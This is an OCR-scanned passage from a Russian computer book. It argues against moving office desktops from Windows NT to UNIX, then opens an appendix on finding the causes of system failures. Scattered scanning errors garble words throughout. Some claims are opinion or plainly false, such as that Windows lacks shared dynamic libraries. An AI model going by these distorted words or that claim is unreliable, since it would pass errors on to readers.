превра- щается в рассадник вирусов, троянских коней и червей. Производительность? Если забыть о командной строке, с которой ни одна секретарша ни в жизнь не справится, то для нормальной работы потребуется достаточно мощный компью- тер, желательно даже более мощный, чем для WindowsNT, поскольку качество оптимизации офисных программ под UNIX оставляет желать лучшего. Словом, UNIX, используемая в качестве офисного компьютера, не имеет ника- ких преимуществ перед WindowsNT. В техническом плане UNIX, бесспорно, намного совершеннее и элегантнее Windows (достаточно отмстить хотя бы тот Факт, что Windows не поддерживает разделяемых динамических библиотек, что ведет к перерасходу памяти и снижению производительности), однако в целом яДра обеих систем предоставляют схожие функциональные возможности, а ос- новная доля различий выпадает на культуру программирования и установив- шуюся идеологию проектирования прикладного программного обеспечения. Устанавливая UNIX, вы попадаете совершенно в иной мир. Мир, адаптирован- ный под профессионалов и враждебно настроенный к новичкам. Если вы нс Умеете работать с литературой, не готовы или не хотите копаться в исходных Цистах пли изучать миллионы страниц документации — этот мир нс для вас. °Д UNIX существует огромное количество инженерных, научных и издатель- х программ, но прежде чем они начнут давать реальную отдачу, вам придет- вц°'1е,,Ь МНОГОМУ научиться. UNIX — это рай для экспериментаторов и инди- ^Уалиетов, не привыкших к готовым решениям и обожающих заниматься чной настройкой системы под себя. 3 акДадывая заплатку на Windows, вы передаете управление черному ящику, '"Шстую даже нс догадываясь, что конкретно тот делает, и нуждаетесь ли вы
238 Глава 9. Красная шапочка, агрессивный пингвин, пронырливый чертенок и все-все-все в данных действиях или нет. Хуже того, вы попадаете в зависимость от своих поставщиков, и если Microsoft прекратит поддерживать Windows 2000, вы бу дете вынуждены перейти па очередную операционную систему независимо от вашего желания, финансовых и технических возможностей, поскольку сам0 стоятельно залатать двоичный код в общем случае нереально. Наличие исхо^ ных текстов существенно упрощает эту задачу, опуская ее до уровня програад. миста средней руки. И вам нс придется дизассемблировать операционную систему только затем, чтобы написать свой диспетчер задач, поскольку ключе- вые функции по тем или иным причинам оказались не документированы. Касательно офисного программного обеспечения. Вам никогда не приходилось сталкиваться с документами, которые отображаются совсем не так, как печата- ются? А с документами, намертво завешивающими обрабатывающее пх прило- жение? Мне — приходилось. В UNIX, где подавляющее большинство докумен- тов хранится в текстовых форматах и эти форматы тщательно документированы, всегда можно залезть в файл руками и посмотреть, что же такое здесь творится. А настоящие профессионалы преимущественно руками и работают, предпочи- тая мыши — клавиатуру, а визуальным редакторам — редактор vi. Считается, что это требует определенных инженерных навыков и среднестатистической секре- тарше vi не по зубам. Отчасти это действительно так, хотя не следует забывать, что когда компьютеры были большими, секретарши и нс с такими программами справлялись. Не без предварительного обучения, конечно, по это уже детали. Грубо говоря, UNIX — это профессиональный фотоаппарат, a Windows — ав- томатическая мыльница, и возможности самовыражения в последнем случае более чем ограничены. С другой стороны, при минимальных познаниях в обла- сти фотографии получить качественный снимок на профессиональном фото- аппарате намного сложнее, чем па мыльнице. Преимущество UNIX над Windows возникает не само по себе, а достигается лишь за счет профессионализма ее ис- пользования. Массовое распространение компьютеров породило острый дефи- цит грамотных пользователей без надежды па его скорое преодоление. Сейчас, когда система образования трещит по швам, а так называемые «курсы компью- терной грамотности» ограничиваются лишь объяснением, чем мышь отличает- ся от клавиатуры, пользователи вынуждены осваивать компьютер самостоя- тельно методом проб и ошибок. Эта тактика нормально работает в мире Windows, но неприемлема по отношению к UNIX. Хотите обучать пользователей за свой счет? Пожалуйста! Но прежде давайте попробуем подсчитать, какие реальные перспективы вам дает переход на UM и как быстро он себя окупит. НАДЕЖНОСТЬ Легендарная надежность UNIX-систем объясняется отнюдь не их личносгнь' ми качествами, а господствующей идеологией. Если некорректно нанисанн приложение и/или бездумные действия пользователя роняют Windows, вин0 ватым традиционно объявляется Билл Гейтс и его кривое программное обеспе
о3у|И1ценность 239 сцие, а все окружающие начинают понимающе сочувствовать. Если же из-за ошибок В драйвере UNIX угробит содержимое жесткого диска, висящего па одной SCSI-шине с ленточным накопителем, разработчики драйвера скажут «сам дурак», а компьютерные гуру лишь хмыкнут: кому, мол, в голову придет совмещать на одной шине быстрое и медленное устройство? ропреки расхожему мнению, Windows представляют собой высокостабильную систему, способную работать без зависаний и перезагрузок годами. Да, в ней есп> некоторое (по некоторым оценкам очень большое) количество ошибок, однако подавляющее большинство из них никак не отражается на работе пользо- вателей, а те, что все-таки мешают, наскоро устраняются «напильником» в опе- ративном порядке. Всякое зависание системы указывает на наличие серьезной проблемы и необходимость срочного хирургического вмешательства. Виновни- ком могут быть и аппаратные дефекты, и нестабильные драйвера, и вирусная инфекция, и некорректная конфигурация, наконец. Если вы и простушку Windows не способны заставить работать нормально, не лезьте в UNIX — от нее вам сделается еще хуже. В Windows на каждом шагу вас окружают мастера, помощники, контекстные меню и полностью автоматизированные инсталляторы. В UNIX же все это де- лается преимущественно руками и головой. И без того низкое качество тести- рования программного обеспечения усугубляется тем обстоятельством, что большинство приложений и утилит распространяется в виде «полуфабрикатов», иначе называемых исходными текстами. В зависимости от версии компилято- ра, ключей компиляции, выбора целевой платформы и компилируемых компо- нентов, вылезают то одни, то другие ошибки. Зачастую откомпилировать про- дукт с первой попытки вообще нс удается! Могут потребоваться библиотеки, которых у вас ист, или обнаружится конфликт версий уже установленных биб- лиотек. Будьте готовы и к тому, что в конфигурацию системы придется вно- сить серьезные изменения, никак нс отраженные в документации. Неправиль- но же установленная программа будет работать крайне нестабильно, а то и нс сможет работать совсем. Нет никаких статистических данных, свидетельствующих в пользу того, что грамотно настроенный UNIX падает реже правильно установленной Windows, профессиональных руках обе системы демонстрируют приблизительно оди- наковый уровень устойчивости. Просто в мире UNIX профессионалы встреча- ется гораздо чаще (так как непрофессионалы здесь не выживают), вот за ней и закрепилась слава падежной системы. Защищенность 3'ВеРждения о превосходной защищенности UNIX-систем лишены всякого °вания. Да, UNIX обеспечивает разграничение доступа к файлам, принте- й прочим ресурсам. Да, она изолируют адресные пространства различных д’ Чессов. Да, она блокирует прямой доступ к оборудованию. Да, оназащища- критические системные компоненты от преднамеренного или непреднамс-
240 Глава 9. Красная шапочка, агрессивный пингвин, пронырливый чертенок и вся -----------------------------------------------------------------------------------^все-в^ репного искажения. Да, она протоколирует все более или менее значим! бытия и прошествия. Однако те же самые услуги предоставляют и онеращ С° ныс системы семейства Windows NT! Архитектуры подсистем безонащ обеих систем во многом схожи и наследуют общие проблемы.------Т(1 Во всех системах присутствуют дыры. В них лезут хакеры, черви и вирусу и дыры в срочном порядке накладываются заплатки, в противном случае компЬ|0Й тер превращается в рассадник всякой заразы. Различные источники привод сильно неодинаковые рейтинги «дырявости» операционных систем, и поэтом провести беспристрастное сравнение чрезвычайно сложно, да и полезность тако го исследования представляется весьма сомнительной. Как бы там ни было, а взятый из коробки UNIX обеспечивает лишь минималь- ный уровень безопасности и над его настройкой приходится работать и рабо- тать. Причем, если вы не гуру, шансы па создание защищенной системы близки к пулю. То же самое, впрочем, относится и операционным системам семейства Windows NT. Иногда приходится слышать, будто бы UNIX-системы неподвластны вирусам. Это неверно. Существует с десяток вирусов, внедряющихся в исполняемые файлы и единодушно признанных неактуальными лишь потому, что в UNIX непривилегированный пользователь теоретически лишен возможности навре- дить системе. Кстати, в Windows NT тоже. Но наличие дыр разрушает эту тео- рию, стирая ее в порошок. Примечательно, что из десяти крупнейших вспышек вирусных эпидемий шесть относятся к линейке Windows NT, а остальные делят между собой Free BSD, Linux и Solaris. Это наводит на серьезные размышления, и эти размышления, увы, свидетельствуют отнюдь не в пользу WindowsNT. На самом деле ситуа- ция не так уж и плачевна. Между «официальным» открытием свежей дыры и по- явлением первых вирусов, использующих ее для своего распространения, про- ходит немало времени. По меныпей мере месяцы, а иногда и годы. Не успеть установить заплатку может только ленивый. Что? Вы нс умеете устанавливать заплатки?! Тогда переходите на QNX и вообще отключите компьютер от сети (в смысле Интернета), хотя для достижения наивысшей степени безопасности и от электрической сети тоже. ЛЕГКОСТЬ УПРАВЛЕНИЯ VS. ФУНКЦИОНАЛЬНОСТЬ Windows-ненавистники часто апеллируют к пословице «Если вы создали1" вещь, которой сможет пользоваться каждый дурак, только дураки ею и бу;. пользоваться». Позвольте, а как же карандаши, автомобили, телевизоры, -М,1К роволновые печи? Ребенок, увлеченно расчеркивающий расстилающийся рсд ним лист, ничего нс знает ни о графите, пи об особенностях строения е кристаллической решетки. Принципы, лежащие в основе телевещания, ему1)е ведомы, а о существовании невидимых глазу электромагнитных полей он да
241 ^плавления vs. функциональность репФСЛУ-^------ ---------------- подозревэет. Однако для переключения телевизионных каналов совершен- **11в обязательно быть инженером. Да, когда-то существовали такие таинствен- 1,0 для обывателей слова, как гетеродин, развертка, частота строк, сведение H^eii и т. Il-, но теперь они уже в прошлом — современные телевизоры умеют Л\тра11вагь Се^Я самостоятсльно> хотя бы и иеной нескольких лишних узлов. 5оЛьшая анпарэтная сложность (а значит, и себестоимость) в обмен па прозрач- ность управления — это вполне нормально. Стоит ли упрекать Microsoft в том, чтОона низвела компьютер до уровня пылесоса, которым может управлять вся- кая домохозяйка? ца самом деле обещанной Гейтсом информационной революции так и пе со- стоялось. «Интуитивнопопятный» интерфейс Windows для неквалифициро- ванных пользователей оказался далеко не интуитивным и совсем непонятным, поэтому им вынужденно пришлось ограничиться лишь небольшой толикой опе- раций, найденных методом научного тыка. Как следствие, работа на компьюте- ре превратилась в борьбу с ним! Порою возникает ощущение, что Windows со- здавалась исключительно для того, чтобы усложнять пользователям жизнь, а не облегчать се. Когда компьютеры были большими, существовало такое понятие, как автома- тизированное рабочее место, или сокращенно АРМ. Оператору устанавливал- ся компьютер, ориентированный на выполнение конкретных операций и нс со- держащий ничего липшего. Поэтому па освоение программного обеспечения уходило совсем немного времени. А что мы имеем сейчас? На рабочем столе громоздятся значки. Что они делают — непонятно. Одно неверное движение мыши, и — прощай панель инструментов или куда-подевалось-мое-окно. Хуже того, при всей своей избыточной сложности Windows-программы не обеспечи- вают и минимума функциональности, предоставляя огромный набор готовых заготовок вместо небольшого количества примитивов. Идеология меню хороша в ресторане. Ткнул пальцем — получил бифштекс. Бифштекс с кровью — есть, бифштекс с кровью, кетчупом и майонезом — тоже. А вот бифштекс с кровью, кетчупом, но без майонеза, увы, рецептурно нс пре- дусмотрен... Командная строка — это не только принципиально отличный механизм управ- ления, это еще и принципиально отличный способ мышления. Вместо того что- ы рыться в меню, лихорадочно выискивая наиболее подходящие блюда, вы ^Состоятельно составляете заказ, отмечая индивидуальные особенности его Приготовления. Конечно, для этого потребуется изучить язык, в то время как Дользоваться меню можно и без знания оного. Однако время, потраченное на Учение, с лихвой окупается в первые же месяцы профессиональной эксплуа- ^аЦии программ. Грубо говоря, если в Windows — вы посетитель ресторана, то L’MX — сам шеф-повар. Для кого не секрет, что с ростом сложности систем эффективность графи- ских интерфейсов падает в геометрической прогрессии. Меню распухают, ‘Ветвляются в мощные иерархические структуры, и в них становится все труд- е 11 труднее ориентироваться. За время, потраченное на достижения пункта
242 Глава 9. Красная шапочка, агрессивный пингвин, пронырливый чертенок и все-все-все нижней иерархии, можно успеть набрать десяток-другой консольных ком;1111 (только не надо апеллировать к горячим клавишам, осмысленных комбинаций на все случаи жизни все равно не хватит). Существует такой замечательный редактор, как vi, управляемый специальным командным языком. Немногим удалось набрать в нем «Hello, World!» без мно- гочасового изучения документации. Однако по мере освоения всех хитростей интерфейса производительность набора текста все повышается и повышается быстро обгоняя показатели пользователей, работающих в Microsoft Word или аналогичном текстовом редакторе. Строго говоря, интерфейс прикладных программ к операционной системе не имеет никакого отношения и все это можно найти и в Windows. Соответствен- но, в мире UNIX полно программ с графическим интерфейсом, порой даже бо- лее убогим, чем в Windows. Большинство профессиональных текстовых редак- торов, электронных таблиц и издательских систем либо портированы на Windows, либо изначально существуют в ней. Профессиональное рабочее мес- то можно обустроить и в Windows. Дело даже не в том, что Word не поддержи- вает регулярных выражений или глобальных механизмов поиска — эти штуч- ки к нему легко прикрутить — пользователи, избалованные графическим интерфейсом, отказываются понимать, что компьютер — это сложная вычис- лительная машина, и чтобы работать за ней, следует долго учиться. Если вы действительно хотите повысить производительность своего труда — изучите Visual Basic и активно используйте макросы. Конечно, Word никогда не срав- нится по эффективности обработки текстов с vi. ТеХ или EMACS, но и сто воз- можностей для большинства задач окажется более чем достаточно. Таким образом, ни Windows, ни UNIX для организации автоматизированных рабочих мест категорически непригодны. Профессиональный пользователь уверенно чувст вует себя в любой системе, а для начинающих одинаково неудоб- ны обе. Другой вопрос, что администрирование Windows NT из инженерной задачи превращается в искусство борьбы с ней, но па рядовых пользователях это обстоятельство никак не отражается. Более того, операционные системы семейства Windows худо-бедно способны позаботиться о себе и самостоятель- но, a UNIX без грамотного администратора, скорее всего, нс «заведется» вооб- ще. А хорошие UNIX администраторы очень дороги, да к тому же еще и редки. ПРОГРАММНО-АППАРАТНАЯ СРЕДА После перехода на UNIX вам придется намного тщательнее относиться к выбо- ру аппаратного обеспечения, чем прежде. Это под Windows со всякой «железя- кой» идет се родной драйвер, автоматически устанавливающийся в систему по запуску программы setup или install. И хотя производители дешевого оборудо- вания зачастую ограничиваются поддержкой Windows 9х, игнорируя линейку Windows NT, в целом ситуация складывается нормально, и подобрать совмес- тимые комплектующие не составляет труда.
243 „,ммно-аппаратная среда fTpOTPSJ—------------ ..дателям UNIX приходится намного сложнее. Во-первых, список оборудо- U ' >я штатно поддерживаемого системой, довольно ограничен. Во-вторых, да- пе весь дсклаРиРУемыи перечень совместимых комплектующих деистви- еньно совместим с системой (обычно этим грешат мощные видеокарты, так как ичводители нс склонны раскрывать своих технологических секретов и зачас- тую драйвера приходится писать на ощупь, вслепую). Это нормально для ссрвс- ’ конфигурации которых более или менее предсказуемы, по с офисными ком- пьютерами, традиционно отличающимися большим разнообразием, придется повозиться. Куда девать несовместимые комплектующие — неясно. Теоретиче- ски их можно списать или обменять, по практически за такое предложение сред- нестатистический начальник голову с корнем оторвет (и правильно сделает). Для некоторых устройств (в особенности сканеров, фотопринтеров и плат ви- цеозахвата) драйверов под UNIX вообще нет и никогда нс будет. Про программ- ные модемы (также называемые «вин-модемами») вообще приходится молчать, поскольку тем, кто работает па UNIX, программный модем «не нужен». И хотя все эти проблемы в принципе решаемы (особенно если брать компью- теры с предустановленным UNIX от крупного поставщика, такого, например, как Sun), задумайтесь — а получите ли вы хоть какие-нибудь преимущества взамен? С программным обеспечением совместимость еще хуже. Несмотря па все уси- лия разработчиков, обеспечить полноценную поддержку документов MS Office никак не удастся, и переход на UNIX вместо ожидаемого избавления от про- блем только подбрасывает новые. Присланный вам документ не открывается или отображается в «арабской» кодировке? Что ж, попросите отправителя со- хранить его в RTF-формате и переслать заново. Все равно не открываемся? Гм, гм... До предела упростите форматирование, переслав документ как plan-text, а потом мы его па месте заново отформатируем. Что?! Теперь нс открывается наш документ?! Хорошо, сейчас мы сохраним его но-другому... Добрая треть wcb-серверов UNIX-пользователям частично или полностью не- доступна, так как создавалась исключительно для просмотра в IE без оглядки на остальных клиентов. С электронными письмами, набранными в Outlook Ex- Press (а они но умолчанию сохраняются в HTML-формате) наблюдается при- близительно та же самая картина. Неясно также, что делать с нестандартными форматами, являющимися соб- ственностью конкретных Windows-приложений (например, PhotoShop). Искать Машину с Windows, чтобы перевести их в gif/bmp/jpg? К Юму же очень многих программ на UNIX просто пет (к этой категории пре- имущественно относятся финансовые программы, системы распознавания тек- ^Та, электронные словари, ну и, естественно, игры). О всякой полезной утвари, forte редакторов печатей или редакторов открыток, не стоит и говорить. еревод отечественного офиса на UNIX просто нереален, поскольку на каж- ' м компьютере присутствует огромное количество действительно пеобходи- ‘ ,х программ, отказ от которых невозможен. Их UNIX-аналоги (если они во- есть) не обеспечивают ни повышенной производительности, ни особенной
244 Глава 9. Красная шапочка, агрессивный пингвин, пронырливый чертенок и все-все-вГо надежности. Решение установить UNIX, чтобы набирать тексты в редакторе ТеХ, достойно уважения, по переходить па UNIX ради Star Office — это, изви- ните, изврат. Теперь поговорим о локализации. Поддержка национальных языков в UNIX представляет собой одну большую проблему. Приблизительно две трети всех программ соглашаются понимать русский язык только после индивидуальной настройки, оставшиеся — не поддаются «кирпллизации» в принципе. Одновре- менная поддержка нескольких языков (например, русского и украинского) те- оретически вполне возможна, но для практического осуществления этой затеи вам понадобится по меньшей мере два UNIX-гуру и ящик холодного пива (впро- чем, без пива можно и обойтись, но сумма контракта увеличится вдвое). Что вы получите в итоге? Возможность видеть свои родные национальные сим- волы на экране (не без предварительной перекодировки документа, конечно), набирать их на клавиатуре, возможно, использовать при наименовании фай- лов. Автоматический перевод в верхпий/нижний регистр, поиск по тексту и, естественно, проверка правописания не гарантирована. Не дай бог, вам попа- дется документ, содержащий явно специфицированный шрифт, кириллическая версия которого у вас отсутствует. Большинство UNIX-программ выведут на экран сплошную абракадабру, и не факт, что позволят принудительно сменить шрифт (этим, в частности, отличались ранние версии Netscape Navigator’a). Символ перевода каретки в UNIX тоже особенный — не такой, как в MS-DOS и Windows, поэтому для совместной работы над документами вам либо при- дется выбирать редакторы, «переваривающие» оба типа перевода каретки, либо заниматься постоянными перекодировками файла. Вам нужна лишняя голов- ная боль? Короче говоря, переходя на UNIX, вы добровольно отрезаете себя от всего остального мира. Учитывая, что сотрудники многих компаний работают не толь- ко в офисе, по еще и дома, проблема совместимости с Windows оказывается более чем актуальна. Только не предлагайте устанавливать UNIX и на домаш- ние компьютеры тоже — дети, лишенные возможности играть, вас нс поймут. Два компьютера или две операционные системы на одном компьютере? Хм- Конечно, такой вариант вполне возможен, только пе совсем ясно, а ради чего это все? ТЕХНИЧЕСКАЯ ПОДДЕРЖКА И ДОКУМЕНТАЦИЯ Документация бывает двух типов: плохой и очень плохой. Но даже очень пл» хая документация лучше, чем полное отсутствие таковой. Коммерческие к- ны UNIX относятся к первой категории, некоммерческие — ко второй, а опер ционные системы семейства Windows NT — к третьей. Штатная документ31 последней представляет собой, по меньшей мере, насилие над здравым сМь
ИяпИчие исходных текстов 245 доМ.апо большей — форменное издевательство. Взять хотя бы Голубой Экран Смерти, который выпрыгивает при возникновении серьезных неполадок. Не щите в документации расшифровку кодов исключений -• ее там нет! Зато она присутствует в DDK — комплекте разработчика драйверов — и частично в Knowledge Base (Базе Знаний), распространяемой на лазерных дисках ио под- писке или через Интернет. А реестр? Это же сплошное нагромождение недоку- ментированных ключей! Кое-какую информацию можно найти в Knowledge Base, SDK и DDK, но, во-первых, эта информация неточная и неполная, а, во- вторых. процедура поиска отнимает очень много времени. Коммерческие клопы UNIX обычно документируются весьма обстоятельно, по- этому подобных проблем там никогда не возникает. Техническим писателям из Microsoft до этого уровня еще далеко, да они, похоже, к нему и нс стремятся, по- скольку Windows NT позиционируются как система, которая все дслаетсама и ко- торая в доработке напильником не нуждается. Внутренние механизмы полностью скрыты от пользователя и наружу торчит лишь графический интерфейс. Вы мо- жете переключать скорости, давить на газ, но вот регулировать карбюратор вам никто не разрешал, и вы вынуждены делать это вслепую на свой страх и риск. Некоммерческие клоны UNIX документируются урывками в свободное от про- граммирования и отладки время. Документация крайне хаотична и беспорядоч- на. Необходимая информация рассеяна среди комментариев, readme-файлов, встроенной помощи, многочисленных шап’ов, периодически выходящих faq и т. д. Но предельное время поиска информации жестко ограничено сверху, так как в крайнем случае можно заглянуть в исходный текст и разобраться в проб- леме сам остоятелыго. Сказанное относится главным образам к профессиональным пользователям UNIX- программистам и администраторам. Секретарша в исходных текстах не сможет прочитать и комментарии — она и русскоязычную документацию на MS Office никогда не читала. Кстати, ио качеству документации офисных про- грамм Microsoft превосходит всех своих конкурентов, вместе взятых. Уже за то, чтоо! ia перевела файл помощи на русский язык, ей следует сказать большое спасибо. Во всяком случае, на скупость документирования офисных программ enie никто по жаловался. Наличие исходных текстов Исходные тексты операционной системы значительно облегчают ее админи- стрирование. В исходных текстах остро нуждаются разработчики драйверов сапфических приложений. Рядовой же пользователь заглядывает в них от к"лУ пару раз в жизни, да и то больше из интереса, чем по необходимости, стати, большинство кустарных дистрибутивов UNIX распространяется без ис- и ;1Иь1х Текстов — спрос определяет предложение. Исходных текстов лишены коммерческие версии UNIX (или же для ознакомления с ними следует прсд- 'Фчтельно подписать соглашение о неразглашении).
246 Глава 9. Красная шапочка, агрессивный пингвин, пронырливый чертенок и все-все Чем полезны исходные тексты? При наличии грамотного админпстттпгч. Щ)1 можете самостоятельно решать все возникающие проблемы, включая поручное изготовление заплаток н вылизывание операционном системы наг мет устранения профаммистских ошибок и повышения се защищенности И Д ли ваш поставщик неожиданно заморозит проект, вы сможете продолжить разработку своими собственными силами, оперативно внедряя в операционную систему поддержку всех новомодных устройств и технологий. В конце концов вы свернете прежний бизнес и начнете торговать своим клопом UNIX’a. Расслабь тесь. Это шутка, и исходные тексты вам совершенно пе нужны. Забудьте о них Чу! Кто сказал, что открытость системы существенно увеличивает качество ее тестирования и способствует скорому обнаружению дыр разного размера и ка- либра? Ну, правильно, эксперты всего мира так и жаждут наброситься на гига- байты исходных текстов, ведь не Маринину же им перед сном читать! Правда у этой медали есть и обратная сторона. Грамотных экспертов по безопасности в мире, вообще говоря, очень и очень немного. Просмотреть все исходные тек- сты они просто физически пе в состоянии. Нет времени, да и не за это им пла- тят. А вот какой-нибудь паренек, изнывающий от безделья, может методично просматривать один исходный текст за другим... Сколько их таких? И где га- рантия, что найденная дыра нс будет использована во зло? Закрытость или открытость системы сама по себе еще ни о чем не говорит. Сре- ди открытых систем есть дырявые как решето, а среди закрытых - неприступ- ные, словно скала. ПРЕЕМСТВЕННОСТЬ Ругая научно-технический прогресс за его стремительный полет, мы как-то не обращаем внимания на то, что программы, создаваемые в 2003 году в большин- стве своем неплохо совместимы с Windows 98, а то и Windows 95! Однажды установив операционную систему, можно вообще забыть о необходимости ее обновления (внимание: к заплаткам сказанное нс относится), поскольку все необходимые ей библиотеки каждая уважающая себя программа обычно несет с собой. В UNIX (и в особенности в LINUX) ситуация с преемственностью зпачптель похуже. Новые версии создаются на воздушном потоке, выплевываемомРсаК тивпой турбиной. Что? У вас ядро месячной версии?! Так это же каменный век. Срочно бегите в Интернет за новым! Даже коммерческие дистрибутивы очень быстро устаревают и к тому же программное обеспечение, разработанное ДлЯ одного клопа UNIX, нс всегда идет на остальных. Упрекая Microsoft в чересчур динамичном развитии Windows и сворачивании линейки Windows 9х, поклонники UNIX забывают, что смерть или растепД^ ние UNIX-клонов — это вполне обычное дело, которым никого нс удивишь, и Red Hat отвернулась от пользователей, переключившись на корпоративН сегмент. Кто будет следующим? Делайте свои ставки, господа! Система до-1
247 Стои^£ЕЬ иметь стабильную финансовую поддержку (а не развиваться на оголтелом ’^тузиазмс)’ пользоваться любовью как производителен железа, так и разра- z чиков программного обеспечения, быть хорошо документированной, доста- qH0 безопасной... Увы, эти требования во многом взаимоисключающи и все (Л^Х-клоны так или иначе не идеальны. Стремительное наступление на ры- нок офисных компьютеров все еще продолжается, а значит, в настоящий .мо- мент UNIX динамично развивается, отказываясь от обратной совместимости в угоДУ сиюминутной выгоде. Кто знает, лет через пять, может, все и «устаканится», по сейчас UNIX активно бурлит и к употреблению органически не готов. Еще не сварился. Увы. ЮРИДИЧЕСКАЯ ЗАЩИЩЕННОСТЬ Вообразите себе картину. Лениво просматривая свежую корреспонденцию и по- пивая утренний чай, вы неожиданно обнаруживаете письмо от Sun Microsystems, предписывающее немедленно прекратить использование WindowsNT или же заплатить фирме определенную сумму в долларах, в противном случае на вас будет подан иск за незаконное использование языка Java в составе системы. Как бы там ни было, но во всех междоусобных конфликтах с конкурентами Microsoft разбиралась самостоятельно, и ее клиентов подобные разборки ни- как не касались. В случае со свободно распространяемыми клонами UNIX си- туация иная. Хотите использовать их? Пожалуйста! Только помните, что юри- дически вы ничем не защищены. Нет никаких гарантий, что вас неожиданно не втянут в судебную тяжбу или же из следующей версии UNIX’a не будет выки- нуты некоторые жизненно необходимые вам компоненты. Коммерческие клопы UNIX с юридической точки зрения защищены ничуть не хуже Windows, однако и стоимость у них соответствующая. Кстати, о сто- имости... СТОИМОСТЬ 0 поводу стоимости UNIX нет единого мнения. С одной стороны, полноцен- ный дистрибутив некоммерческого UNIX’a даже у официальных распростра- нителей можно приобрести буквально за копейки (про пиратский рынок мы фомно промолчим). В комплект поставки входит большое количество разно- Разпого программного обеспечения, более или менее полно покрывающего ДЫ сервера локальной сети, но категорически недостаточного для офиспо- Da ИС11ользова,1ия- Это объясняется тем, что офисное программное обеспечение ИМо,^°СТ'ЭаНЯСТСЯ пРсимУщественно |,а коммерческой основе и по своей сто- Го ГИ находится на одной ступеньке с Windows-приложениями аналогично- , Назчачення (что, собственно, и не удивительно, так как их зачастую выпус- т те же самые фирмы).
248 Глава 9. Красная шапочка, агрессивный пингвин, пронырливый чертенок и все-вг₽ в --_-------------------------1--------------:---------------------— Про издержки, связанные с несовместимостью с железом, мы уже говору Добавьте сюда еще убытки, вызванные несовместимостью с программным oge ’ печением, и не забудьте о расходах на техническую поддержку и консультации Если после всех расчетов и оптимизации бюджета UNIX по-прежнему бу^ет казаться вам экономной, — потрудитесь найти толкового администратора со гласного тянуть все это хозяйство за чисто номинальную сумму. Не надейтесь что однажды настроенная UNIX в дальнейшем будет исправно работать сама по себе. Не сегодня-завтра вступят в действие новые законы, изменится схема налогообложения, и существующее программное обеспечение потребует капи- тальной модернизации. Затем появятся новые устройства передачи данных Быстрые, дешевые и надежные. Сумеете ли вы самостоятельно подружить их с UNIX, учитывая, что для этого может потребоваться перекомпиляция ядра? Поверьте, дешевый сыр бывает только в мышеловке. Только глупцы называют UNIX системой для бедных. Дешевизна системы оборачивается дороговизной администрирования и технической поддержки. В этом мире все уравновешено. Иначе и не может быть. Если Microsoft зарабатывает свои миллиарды на про- дажах программного обеспечения, то поставщики UNIX — на ее обслуживании. Для энтузиастов программирования UNIX — действительно наиболее дешевый выбор, но только не для клерков и секретарш! ЗАКЛЮЧЕНИЕ И в заключение мне хотелось бы сказать: не пытайтесь переделывать UNIX в Windows. У Microsoft есть отличный продукт — Office, и равных ему не суще- ствует. Господствующее положение Windows на рынке офисных компьютеров как раз и объясняется тем, что это действительно хорошая система, которая всех устраивает. UNIX же прочно удерживает рынок серверов и мощных вычисли- тельный центров — там, где упоминание о Windows вызывает лишь снисходи- тельные улыбки. Время все расставляет по своим местам, и ажиотаж вокруг офисного UNIX а либо постепенно затихнет, либо UNIX приобретет худшие черты Windows, по- теряв при этом то, в чем UNIX всегда был традиционно силен. Какой смысл переделывать трактор в автомобиль? Если вам нужен автомобиль — приобре- тайте автомобиль. Если вам нужен трактор — приобретайте трактор. Если же вам нужно и то, и другое — приобретите лошадь. На ней можно п кататься, и дрова возить. Ну, а навоз и все сопутствующие ему проблемы — это, знаете ли, издержки универсальности. Не хотите навоза — покупайте отдельно авто мобиль и отдельно трактор. Шутка.
ПРИЛОЖЕНИЯ Приложение А ПРАКТИЧЕСКИЕ СОВЕТЫ ПО ВОССТАНОВЛЕНИЮ СИСТЕМЫ В БОЕВЫХ УСЛОВИЯХ Приложение Б БОРЬБА СО СПАМОМ Приложение В СРАВНИТЕЛЬНЫЙ АНАЛИЗ ЭЛЕГАНТНОСТИ АРХИТЕКТУР РАЗЛИЧНЫХ ПРОЦЕССОРОВ
ПРИЛОЖЕНИЕ А ПРАКТИЧЕСКИЕ СОВЕТЫ ПО ВОССТАНОВЛЕНИЮ СИСТЕМЫ В БОЕВЫХ УСЛОВИЯХ 1. Во время исполнения ошибки имеют наивысший при- оритет. Прервать исполнение ошибки может только другая, более активная ошибка. 2. Запросы операционной системы к ошибкам ошибками могут игнорироваться. 3. Запросы ошибок к операционной системе игнориро- ваться не могут. 4. При работе с файлами ошибки могут пользоваться файловой системой базовой ОС и ее ошибками. 5. На ЭВМ с параллельной архитектурой может выпол пяться несколько ошибок одновременно. В. Тихонов. «Теория ошибок Большинству администраторов приходилось сталкиваться с теми или ины>,и сбоями ОС и ее окружения, но далеко не все могли быстро найти источник *1Х возникновения (особенно если сбои происходят не регулярно и на чужих ма шинах). Тем не менее существует несколько вполне универсальных стратеП,и поиска дефектных компонентов, разработанных и апробированных еще со вр .. ..^ИпАппйилн Rot о них-то и рассказывает настоящее приложен*’6'
дппаратнаячасть 251 Типичная реакция домашнего пользователя на нестабильность работы своей машины — полная переустановка всей операционной системы. Иногда это по- моГаеТ1 иногда нет, по, как бы там ни было, переустановка операционной систе- мы — достаточно «занимательное» событие, самое малое на целый день выво- дящее вас из игры (в смысле текущей работы). Квалифицированный хакер отчичается от неквалифицированного тем, что со всеми проблемами справля- ется налету, до минимума сводя время простоя вычислительной техники. Вообше-то хорошо отлаженная система, базирующаяся на ОС типа FreeBSD (или подобных ей), способна без сбоев работать годами, не требуя к себе совер- шенно никакого внимания. Системы, построенные па базе Windows NT, этим, увы, похвастаться не могут, и для достижения сколько-нибудь стабильной ра- боты за ними приходится постоянно «ухаживать». Аппаратное обеспечение, собираемое на коленках в ближайшем подвале, пря- мо скажем, не очень надежно, а отличить качественную подделку от оригинала по внешним признакам достаточно трудно. На просторах России свободно про- даются отбракованные чипы, левым путем добытые у производителей и выда- ваемые за настоящие. Кстати, многие из именитых производителей грешат пе- редачей своих торговых марок третьим фирмам, выпускающим посредственное оборудование, но продающим его по «брэндовым» ценам. Яркий тому пример — пишущий привод ТЕАС 552Е, к которому фирма ТЕАС просто не имеет ника- кого отношения. Про материнские платы п модули памяти и говорить не стоит. Их клепают все кому не лень, и многие модели вообще не работают, кое-как запускаясь на пониженных таймингах и частотах. Словом, если сбой старушки БЭСМ-6 был настоящим ЧП, то зависание совре- менного компьютера — вполне обычное дело, воспринимаемое нами, как неиз- бежное зло. Это приложение не убережет вас ни от критических ошибок при- ложений, ни от отказа оборудования, по, по крайней мере, научит быстро и безошибочно находить их источник. Речь пойдет преимущественно о Win- dows NT и производных от нее системах (Windows 2000, Windows ХР), хотя поклонники 